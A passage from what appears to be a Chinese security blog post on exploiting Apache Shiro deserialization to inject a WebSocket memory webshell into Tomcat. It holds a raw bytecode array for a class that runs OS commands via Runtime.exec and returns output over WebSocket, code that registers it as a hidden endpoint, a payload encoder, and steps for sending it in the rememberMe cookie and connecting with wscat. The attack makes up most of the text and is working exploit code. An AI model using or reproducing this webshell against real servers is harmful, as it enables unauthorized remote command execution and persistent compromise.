1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 4, 114, 101, 97, 100, 1, 0, 3, 40, 41, 73, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 28, 40, 67, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 7, 119, 97, 105, 116, 70, 111, 114, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 7, 0, -111, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 12, 0, 38, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 39, 0, 40, 0, 0, 0, 1, 0, 41, 0, 42, 0, 1, 0, 36, 0, 0, 1, 126, 0, 5, 0, 7, 0, 0, 0, -108, 18, 2, -72, 0, 3, -74, 0, 4, 18, 5, -74, 0, 6, 61, 28, -103, 0, 31, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 9, 83, 89, 4, 18, 10, 83, 89, 5, 43, 83, -74, 0, 11, 78, -89, 0, 28, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 83, -74, 0, 11, 78, 45, -74, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 25, 4, -74, 0, 17, 89, 54, 6, 2, -97, 0, 15, 25, 5, 21, 6, -110, -74, 0, 18, 87, -89, -1, -21, 25, 4, -74, 0, 19, 45, -74, 0, 20, 87, 42, -76, 0, 21, -71, 0, 22, 1, 0, 25, 5, -74, 0, 23, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -117, 0, -114, 0, 25, 0, 3, 0, 37, 0, 0, 0, 62, 0, 15, 0, 0, 0, 17, 0, 14, 0, 19, 0, 18, 0, 20, 0, 46, 0, 22, 0, 71, 0, 25, 0, 77, 0, 26, 0, 86, 0, 29, 0, 98, 0, 30, 0, 110, 0, 33, 0, 115, 0, 34, 0, 120, 0, 35, 0, -117, 0, 38, 0, -114, 0, 36, 0, -113, 0, 37, 0, -109, 0, 39, 0, 38, 0, 0, 0, 92, 0, 9, 0, 43, 0, 3, 0, 43, 0, 44, 0, 3, 0, 14, 0, 125, 0, 45, 0, 46, 0, 2, 0, 71, 0, 68, 0, 43, 0, 44, 0, 3, 0, 77, 0, 62, 0, 47, 0, 48, 0, 4, 0, 86, 0, 53, 0, 49, 0, 50, 0, 5, 0, 94, 0, 45, 0, 51, 0, 52, 0, 6, 0, -113, 0, 4, 0, 53, 0, 54, 0, 2, 0, 0, 0, -108, 0, 39, 0, 40, 0, 0, 0, 0, 0, -108, 0, 55, 0, 56, 0, 1, 0, 57, 0, 0, 0, 42, 0, 6, -4, 0, 46, 1, -4, 0, 24, 7, 0, 58, -3, 0, 14, 7, 0, 59, 7, 0, 60, -4, 0, 23, 1, -1, 0, 31, 0, 2, 7, 0, 61, 7, 0, 62, 0, 1, 7, 0, 63, 4, 0, 1, 0, 64, 0, 65, 0, 1, 0, 36, 0, 0, 0, 86, 0, 2, 0, 3, 0, 0, 0, 16, 42, 43, -75, 0, 21, 42, -76, 0, 21, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 14, 0, 3, 0, 0, 0, 43, 0, 5, 0, 44, 0, 15, 0, 45, 0, 38, 0, 0, 0, 32, 0, 3, 0, 0, 0, 16, 0, 39, 0, 40, 0, 0, 0, 0, 0, 16, 0, 32, 0, 33, 0, 1, 0, 0, 0, 16, 0, 66, 0, 67, 0, 2, 16, 65, 0, 41, 0, 68, 0, 1, 0, 36, 0, 0, 0, 51, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 8, -74, 0, 28, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 12, 0, 38, 0, 0, 0, 12, 0, 1, 0, 0, 0, 9, 0, 39, 0, 40, 0, 0, 0, 3, 0, 69, 0, 0, 0, 2, 0, 72, 0, 73, 0, 0, 0, 2, 0, 74, 0, 71, 0, 0, 0, 18, 0, 2, 0, 31, 0, 110, 0, 70, 6, 9, 0, 102, 0, -118, 0, -121, 6, 9};
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);

            //后面部分不变,build设置好的恶意类
            ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build();
            WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
            if (null == container.findMapping(urlPath)) {
                try {
                    container.addEndpoint(configEndpoint);
                } catch (DeploymentException e) {
                    e.printStackTrace();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

注入内存马

tomcat大小问题绕过参考洋洋师傅的文章:https://xz.aliyun.com/t/10696#toc-7,我采用从POST请求体中发送字节码数据的方式进行绕过。

1、生成MyTomcatClassLoader

反序列化分析到shiro注入WebSocket内存马_第45张图片

2、将生成的payload放到rememberMe后

通过如下代码,获取websocket内存马的classData。具体路径一般在本项目下的targets目录

import java.io.File;
import java.io.FileInputStream;
import java.net.URLEncoder;
import java.util.Base64;

public class getClassData {
    public static void main(String[] args) throws Exception {
        File file = new File("TemplatesImplWebSocket.class路径");
        FileInputStream inputFile = new FileInputStream(file);
        byte[] buffer = new byte[(int)file.length()];
        inputFile.read(buffer);
        inputFile.close();
        String base64Str = Base64.getEncoder().encodeToString(buffer);
        String urlStr = URLEncoder.encode(base64Str,"UTF-8");

        System.out.println("========ClassData========="+"\n");
        System.out.println(urlStr+"\n");
        System.out.println("========ClassData========="+"\n");
    }
}
反序列化分析到shiro注入WebSocket内存马_第46张图片

3、将生成的classData放入数据包的POST字段,发送数据包,注入内存马,使用wscat连接即可,路径在TemplatesImplWebSocket中设置的,为/ws

反序列化分析到shiro注入WebSocket内存马_第47张图片

0x05 总结

学习反序列化和内存马已经很长一段时间了,看网上的文章也总是发现这样的问题,一个是JAVA基础欠缺,在反序列化部分很多底层知识还理解的很浅显;第二是有些复杂的地方,文章中一笔带过了,自己也一笔带过了。但是是能够体会到自己的成长的,一开始只会使用Ysoserial工具,shiro反序列化工具,JNDI注入工具,到现在,能够理解它大体的原理,现在想来,是挺开心的一件事。

最近也是开了一个知识星球,嗯嗯是免费的,想提供一个安全的小圈子,或者小平台,只要是安全相关的东西,都可以在里面发帖询问,大家都会乐意解答的。诚邀大家加入~

https://t.zsxq.com/0ahB6Mw1P

0x06 参考

http://tttang.com/archive/1337/

https://github.com/yyhuni/shiroMemshell

https://www.freebuf.com/vuls/329299.html

https://github.com/veo/wsMemShell

https://xz.aliyun.com/t/10696

原文链接:https://xz.aliyun.com/t/12042

你可能感兴趣的:(java)